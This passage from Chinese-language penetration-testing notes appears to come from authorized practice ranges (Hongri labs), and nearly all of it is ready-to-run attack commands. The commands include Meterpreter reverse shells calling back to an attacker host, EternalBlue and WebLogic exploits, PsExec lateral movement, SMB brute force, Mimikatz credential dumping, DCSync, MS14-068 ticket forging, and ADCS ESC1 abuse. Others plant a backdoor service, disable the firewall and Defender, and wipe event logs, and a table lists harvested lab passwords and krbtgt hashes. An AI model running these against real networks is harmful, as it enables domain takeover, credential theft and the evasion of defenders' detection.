# 查看目标系统、架构、域、Meterpreter 架构。
sysinfo
# 查看目标网卡,定位内网 IP。
ipconfig
# 查看进程,找 x64 / SYSTEM 进程用于 migrate。
ps
# 迁移到指定进程。x86 会话在 x64 系统上抓凭据不稳时必用。
migrate <pid>
# 导出本地 SAM Hash。
hashdump
# 进入目标系统 shell。
shell
# 把当前 session 放到后台。
background
# 查看所有 session。
sessions -l
# 进入指定 session。
sessions -i <id>
# 加载 Kiwi / Mimikatz 扩展。
load kiwi
# 抓取所有凭据,包括 msv、wdigest、tspkg、kerberos。
creds_all
# 导出 SAM,hashdump 失败时可尝试。
lsa_dump_sam
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| # MSF:启动控制台。
msfconsole
# MSF:一行启动 bind_tcp handler,红日 1 用于连接目标 bind payload。
msfconsole -q -x "use multi/handler; set payload windows/meterpreter/bind_tcp; set RHOST 192.168.242.97; set LPORT 5555; run"
# MSF:Windows reverse_tcp handler。
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.135.128
set LPORT 4444
run
# MSF:Windows x64 reverse_tcp handler。
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 5555
run
# MSF:Linux reverse_tcp handler。
use multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.157.129
set LPORT 4444
run
|
8.6 MSF 路由、SOCKS 与端口转发#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
| # Meterpreter:添加内网路由,红日 1 用于访问 192.168.52.0/24。
run autoroute -s 192.168.52.0/24
# Meterpreter:添加内网路由,红日 3 用于访问 192.168.93.0/24。
run autoroute -s 192.168.93.0/24
# Meterpreter:查看 autoroute 路由。
run autoroute -p
# MSF:推荐的新 autoroute 模块用法,红日 2 用于 10.10.10.0/24。
use post/multi/manage/autoroute
set SESSION 1
set SUBNET 10.10.10.0
run
# MSF:手动添加 route,红日 5 用于 192.168.138.0/24。
route add 192.168.138.0 255.255.255.0 1
# MSF:查看当前路由。
route print
# MSF:启动 SOCKS4a 代理,让 proxychains 等工具走 Meterpreter 路由。
use auxiliary/server/socks_proxy
set version 4a
set srvport 6677
run
|
1
2
3
4
5
6
7
8
| # 红日 3:在跳板主机上启动 Python 端口转发,监听 4444 并转发到 Kali 4444。
python sock.py 0.0.0.0 4444 192.168.188.104 4444 &
# 红日 3:转发 5555,用于第二组 handler 或横向 payload。
python sock.py 0.0.0.0 5555 192.168.188.104 5555 &
# 红日 3:转发 6666,保留备用通道。
python sock.py 0.0.0.0 6666 192.168.188.104 6666 &
|
8.7 MSF 漏洞利用与横向移动#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| # 红日 2:MS17-010 EternalBlue,目标为 192.168.242.49。
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.242.49
set LHOST 192.168.188.104
run
# 红日 2:MS17-010 EternalBlue,切到 WEB 目标 192.168.242.226。
set RHOSTS 192.168.242.226
set LHOST 192.168.188.104
run
# 综合靶场:MS17-010 使用 x64 bind_tcp 打 WIN-PC8086。
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOSTS 172.22.10.36
set LPORT 4444
run
|
1
2
3
4
5
6
7
8
9
| # 红日 2:WebLogic CVE-2019-2725,必须手动设置 x64 payload。
search cve-2019-2725
use exploit/multi/misc/weblogic_deserialize_asyncresponseservice
set TARGET Windows
set payload windows/x64/meterpreter/reverse_tcp
set RHOST 192.168.242.226
set LHOST 192.168.188.104
set LPORT 3333
run
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| # 红日 1:PsExec 第一次尝试 bind_tcp,认证成功但无 session,可用于判断防火墙/连接方向问题。
use exploit/windows/smb/psexec
set RHOSTS 192.168.52.138
set SMBDomain GOD
set SMBUser Administrator
set SMBPass hongrisec@2025
set payload windows/meterpreter/bind_tcp
set LPORT 4446
run
# 红日 1:PsExec 改 reverse_tcp 回连 Web 靶机内网 IP,成功拿域控。
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.52.141
set LPORT 4446
set AutoRunScript post/windows/manage/migrate
run
|
1
2
3
4
5
6
7
8
9
10
| # 红日 2:PsExec 横向到 DE1AY 域控,使用 bind_tcp。
use exploit/windows/smb/psexec
set RHOSTS 10.10.10.10
set SMBDomain DE1AY
set SMBUser Administrator
set SMBPass 2wsx!QAZ
set payload windows/x64/meterpreter/bind_tcp
set RPORT 445
set LPORT 4445
run
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
| # 红日 3:SMB 爆破模板。RPORT 2222 是经过转发暴露出来的 SMB 端口。
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.242.63
set SMBUser administrator
set PASS_FILE /usr/share/wordlists/rockyou.txt
set RPORT 2222
set STOP_ON_SUCCESS true
run
# 红日 3:PsExec 通过转发端口横向到 WIN2008。
use exploit/windows/smb/psexec
set RHOSTS 192.168.242.63
set RPORT 2222
set SMBUser administrator
set SMBPass 123qwe!ASD
set LHOST 192.168.93.100
set LPORT 5555
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
# 红日 3:PsExec 通过转发端口横向到域控。
use exploit/windows/smb/psexec
set RHOSTS 192.168.242.63
set RPORT 1111
set SMBUser administrator
set SMBPass zxcASDqw123!!
set LHOST 192.168.93.10
set LPORT 4444
set PAYLOAD windows/x64/meterpreter/reverse_tcp
run
|
8.8 Windows 域信息、RDP、防火墙与远程服务#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
| :: 切换代码页,减少中文 Windows shell 乱码。
chcp 65001
:: 查看当前用户。
whoami
:: 查看网络配置,定位内网 IP、DNS、域信息。
ipconfig /all
:: 查看路由表。
route print
:: 查看 ARP 表,红日 1 用它发现 192.168.52.138 域控。
arp -a
:: 查看域列表。
net view /domain
:: 查看域用户。
net user /domain
:: 查看域管理员组。
net group "domain admins" /domain
:: 查看域控组。
net group "domain controllers" /domain
:: 查看域计算机组。
net group "domain computers" /domain
:: 通过域名解析确认域控 IP。
ping DC.sun.com
ping DE1AY.COM
ping test.org
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| :: 查看防火墙状态。
netsh advfirewall show allprofile state
:: 关闭防火墙,靶场连通性排障使用。
netsh advfirewall set allprofiles state off
:: 开启 RDP。
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
:: 放行 3389。
netsh advfirewall firewall add rule name="RDP" dir=in action=allow protocol=tcp localport=3389
:: 关闭 Defender 实时防护,综合靶场 RDP 进 WIN-PC8098 后使用。
Set-MpPreference -DisableRealtimeMonitoring $true
|
1
2
3
4
5
6
7
8
| # Kali:RDP 登录红日 2 WEB。
rdesktop -u Administrator -p '2wsx!QAZ' -d DE1AY 192.168.242.226
# Kali:如果域账户 RDP 不顺,可使用本地账户登录。
rdesktop -u Administrator -p '2wsx!QAZ123' 192.168.242.226
# Kali:新版 xfreerdp 连接综合靶场 WIN-PC8098。
xfreerdp /v:172.22.10.40 /u:hacker /p:P@ssw0rd123 /cert:ignore
|
1
2
3
4
5
6
| :: 红日 2:在 Meterpreter shell 中修改本地管理员密码。
net user Administrator 2wsx!QAZ123
:: 红日 5 / 综合靶场:新增本地管理员用户。
net user hacker P@ssw0rd123 /add
net localgroup Administrators hacker /add
|
1
2
3
4
5
6
| :: 验证域控 C$ 可达,红日 2 中用于确认凭据和横向条件。
net use \\10.10.10.10\c$ "2wsx!QAZ" /user:DE1AY\Administrator
dir \\10.10.10.10\c$
:: 红日 4:MS14-068 注入票据后验证能访问域控 C$。
dir \\WIN-ENS2VR5TR3N\c$
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| :: 红日 4:远程创建服务关闭域控防火墙。1053 超时不一定代表命令没执行。
sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall
:: 红日 4:上传 bind.exe 后远程创建服务执行 payload。
copy C:\Users\douser\Desktop\bind.exe \\WIN-ENS2VR5TR3N\c$\windows\temp\
sc \\WIN-ENS2VR5TR3N create BackdoorService binpath= "c:\windows\temp\bind.exe"
sc \\WIN-ENS2VR5TR3N start BackdoorService
:: 红日 4:通过远程服务把 douser 加入域管理员组。
sc \\WIN-ENS2VR5TR3N create adddomainadmin binpath= "net group \"domain admins\" douser /add /domain"
sc \\WIN-ENS2VR5TR3N start adddomainadmin
:: 红日 4:验证 douser 已进入 Domain Admins。
net user douser /domain
|
8.9 Mimikatz / Kiwi / Kerberos / ADCS#
1
2
3
4
5
6
7
8
9
10
11
| # Meterpreter:加载 Kiwi。
load kiwi
# Meterpreter:启用调试权限。
kiwi_cmd privilege::debug
# Meterpreter:读取 LSASS 中的登录凭据。
kiwi_cmd sekurlsa::logonpasswords
# Meterpreter:DCSync 导出域内 Hash,红日 4 获取 krbtgt / Administrator。
kiwi_cmd lsadump::dcsync /domain:DEMO.com /all /csv
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| # Mimikatz:启用调试权限。
mimikatz # privilege::debug
# Mimikatz:抓取登录密码和 Hash。
mimikatz # sekurlsa::logonpasswords
# Mimikatz:查看当前 Kerberos 票据。
mimikatz # kerberos::list
# Mimikatz:注入 MS14-068 生成的 ccache。
mimikatz # kerberos::ptc TGT_douser@DEMO.com.ccache
# Mimikatz:退出。
mimikatz # exit
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
| :: Windows:清理当前登录会话的 Kerberos 票据。
klist purge
:: Windows:查看当前 Kerberos 票据。
klist
:: 红日 4:生成 MS14-068 伪造票据。
ms14-068.exe -u douser@DEMO.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
:: 红日 4:命令行方式注入票据。
mimikatz.exe "kerberos::ptc TGT_douser@DEMO.com.ccache" exit
:: 红日 5:获取域用户 SID,去掉末尾 RID 后就是域 SID。
wmic useraccount where name='Administrator' get sid
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
| # Impacket:枚举约束委派信息。
python3 findDelegation.py aerospace.local/WIN-PC8086\$ -hashes :1878248073dc58f665227675e99b8333 -dc-ip 172.22.10.11
# Impacket:使用机器账户 Hash 申请 CIFS/WIN-PC8098 的委派票据,并模拟 Administrator。
python3 getST.py aerospace.local/WIN-PC8086\$ -hashes :1878248073dc58f665227675e99b8333 -spn CIFS/WIN-PC8098.aerospace.local -impersonate Administrator -dc-ip 172.22.10.11
# Linux:指定 Kerberos ccache 文件。
export KRB5CCNAME='Administrator@CIFS_WIN-PC8098.aerospace.local@AEROSPACE.LOCAL.ccache'
# Linux:向域控 DNS 查询目标主机名。
nslookup WIN-PC8098.aerospace.local 172.22.10.11
# Linux:写 hosts,解决 Impacket Kerberos 模式名称解析。
echo '172.22.10.40 WIN-PC8098.aerospace.local WIN-PC8098' >> /etc/hosts
echo '172.22.10.13 CA.aerospace.local CA' >> /etc/hosts
echo '172.22.10.11 DC01.aerospace.local DC01' >> /etc/hosts
# Impacket:使用 Kerberos 票据登录 WIN-PC8098。
python3 wmiexec.py -k aerospace.local/Administrator@WIN-PC8098.aerospace.local -no-pass -dc-ip 172.22.10.11
# Impacket:使用改密后的域管密码登录 DC01。
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py aerospace.local/Administrator:'P@ssw0rd2024!'@DC01.aerospace.local -dc-ip 172.22.10.11
# Impacket:使用域管密码登录 CA。
python3 /usr/share/doc/python3-impacket/examples/wmiexec.py aerospace.local/Administrator:'P@ssw0rd2024!'@CA.aerospace.local -dc-ip 172.22.10.13
|
1
2
3
4
5
| # Certipy:申请带 Administrator UPN 的证书,利用 ADCS ESC1。
certipy-ad req -username liuyuhua@aerospace.local -hashes :2c8e4ec4d8a61869d85c7921c6076dfd -ca aerospace-CA-CA -target CA.aerospace.local -template AeroUser -upn Administrator@aerospace.local -dns DC01.aerospace.local -dc-ip 172.22.10.11 -ns 172.22.10.11 -debug
# Certipy:PKINIT 不可用时,使用证书走 LDAPS/Schannel 进入 LDAP Shell。
certipy-ad auth -pfx administrator_dc01.pfx -dc-ip 172.22.10.11 -ldap-shell
|
1
2
3
4
5
| # Certipy LDAP Shell:确认当前认证身份。
whoami
# Certipy LDAP Shell:修改 Administrator 密码,综合靶场用于后续 WMI 横向。
change_password Administrator P@ssw0rd2024!
|
8.10 Linux / SSH / 提权相关#
1
2
3
4
5
6
7
8
9
10
11
| # 红日 3:旧 SSH 服务只支持 ssh-rsa 时,显式启用旧算法登录。
ssh -o HostKeyAlgorithms=+ssh-rsa wwwuser@192.168.242.92
# Linux:查看当前目录。
pwd
# Linux:列根目录,判断系统结构。
ls /
# Linux:查看用户列表。
cat /etc/passwd
|
1
2
3
4
5
6
7
| # 红日 4:启动 Struts2、Tomcat、phpMyAdmin 三组 Docker 靶场服务。
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d
|
8.11 授权实验清理命令#
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
| :: 红日 4:删除远程服务痕迹。
sc \\WIN-ENS2VR5TR3N delete BackdoorService
sc \\WIN-ENS2VR5TR3N delete unablefirewall
sc \\WIN-ENS2VR5TR3N delete addadmin
sc \\WIN-ENS2VR5TR3N delete adddomainadmin
sc \\WIN-ENS2VR5TR3N delete checkfw
sc \\WIN-ENS2VR5TR3N delete openrdp
sc \\WIN-ENS2VR5TR3N delete stopfw
sc \\WIN-ENS2VR5TR3N delete killold
sc \\WIN-ENS2VR5TR3N delete enable_rdp
:: 红日 4:删除计划任务。
schtasks /delete /s WIN-ENS2VR5TR3N /tn "FinalStrike" /f
schtasks /delete /s WIN-ENS2VR5TR3N /tn "MyShell" /f
:: 红日 4:删除域控上落地文件。
del \\WIN-ENS2VR5TR3N\c$\windows\temp\bind.exe
del \\WIN-ENS2VR5TR3N\c$\windows\temp\fw.txt
:: 红日 4:删除 Win7 上工具和票据文件。
cd C:\Users\douser\Desktop
del bind.exe
del ms14-068.exe
del mimikatz.exe
del TGT_douser@DEMO.com.ccache
del C:\Windows\System32\bind.exe
:: 红日 4:把 douser 移出域管理员组。
net group "domain admins" douser /delete /domain
:: 红日 4:把 douser 移出域控本地管理员组。
net localgroup administrators douser /delete /domain
:: 红日 4:清理当前内存票据。
klist purge
|
1
2
3
4
5
6
7
8
| # Meterpreter:清理 Windows 事件日志。只用于授权靶场复盘。
clearev
# Meterpreter:事件管理模块,查看事件。
run event_manager -i
# Meterpreter:事件管理模块,清理事件。
run event_manager -c
|
9. 授权靶场凭据索引#
| 来源 | 账户 | 明文/Hash | 用途 |
|---|
| 红日1靶场(灵境平台)完整渗透记录 | phpMyAdmin | root/root | 初始入口 |
| 红日1靶场(灵境平台)完整渗透记录 | GOD\Administrator | hongrisec@2025,NTLM ad8b1b80e5d43bd61ab6796242bc7daa | 域控横向 |
| 红日2靶场(灵境平台) | DE1AY\Administrator | 2wsx!QAZ,NTLM cf83cd7efde13e0ce754874aaa979a74 | RDP/PsExec |
| 红日2靶场(灵境平台) | DE1AY\de1ay / mssql | 1qaz@WSX,NTLM 161cff084477fe596a5db81874498a24 | 域用户/数据库 |
| 红日3靶场(灵境平台) | MySQL testuser | cvcvgjASD!@ | Joomla 数据库 |
| 红日3靶场(灵境平台) | SSH wwwuser | wwwuser_123Aqx | Linux 登录 |
| 红日3靶场(灵境平台) | Windows administrator | 123qwe!ASD、zxcASDqw123!! | SMB/PsExec |
| 红日4靶场 | DEMO\douser | Dotest123,SID S-1-5-21-979886063-1111900045-1414766810-1107 | MS14-068 |
| 红日4靶场 | DEMO\krbtgt | NTLM 7c4ed692473d4b4344c3ba01c5e6cb63 | 票据材料 |
| 红日5靶场 | SUN\Administrator | dc123.com,NTLM e8bea972b3549868cecd667a64a6ac46 | 域控横向 |
| 红日5靶场 | SUN\krbtgt | NTLM 65dc23a67f31503698981f2665f9d858 | 黄金票据 |
| 内网渗透体系建设 — 靶场 WriteUp | MSSQL sa | 123456 | 初始入口 |
| 内网渗透体系建设 — 靶场 WriteUp | WIN-PC8086$ | NTLM 1878248073dc58f665227675e99b8333 | 约束委派 |
| 内网渗透体系建设 — 靶场 WriteUp | aerospace\liuyuhua | Yu%a#E8T6iR,NTLM 2c8e4ec4d8a61869d85c7921c6076dfd | ADCS |
10. 踩坑索引#
| 坑 | 快速判断 | 处理 |
|---|
| Kali 不能访问靶场 | 宿主能通,Kali 不通 | 桥接 VPN/检查路由 |
INTO OUTFILE 失败 | secure_file_priv 限制 | 改 MySQL 日志写马 |
| Kiwi 报 x86/x64 | x86 meterpreter 在 x64 系统 | migrate 到 x64 进程 |
| 认证成功无 session | 连接方向/防火墙/端口问题 | reverse、bind、LHOST、LPORT 轮换判断 |
net user /domain 1355 | DNS 或域控不可达 | 通过 ARP、ping 域名、端口扫描补证据 |
sc start 1053 | 非服务型 payload 超时 | 看监听是否收到连接 |
| Kerberos 名称解析失败 | FQDN 不通 | 写 hosts,指定 DC/DNS |
| PKINIT 不支持 | KDC_ERR_PADATA_TYPE_NOSUPP | 走 Schannel/LDAP |
| RDP 参数报错 | xfreerdp 版本变化 | 使用 /cert:ignore |
| 普通域用户不能横向 | 没有目标管理员权限 | 找域管、委派、ADCS、漏洞横向 |
11. 复盘清单#
每完成一个靶场,按下面几项补笔记:
1
2
3
4
5
6
7
8
9
10
11
12
13
| 靶场:
来源:
入口点:
初始权限:
提权路径:
内网网段:
域控定位方式:
凭据来源:
横向方式:
域攻击方式:
失败点:
最可复用的一句话:
防守检测点:
|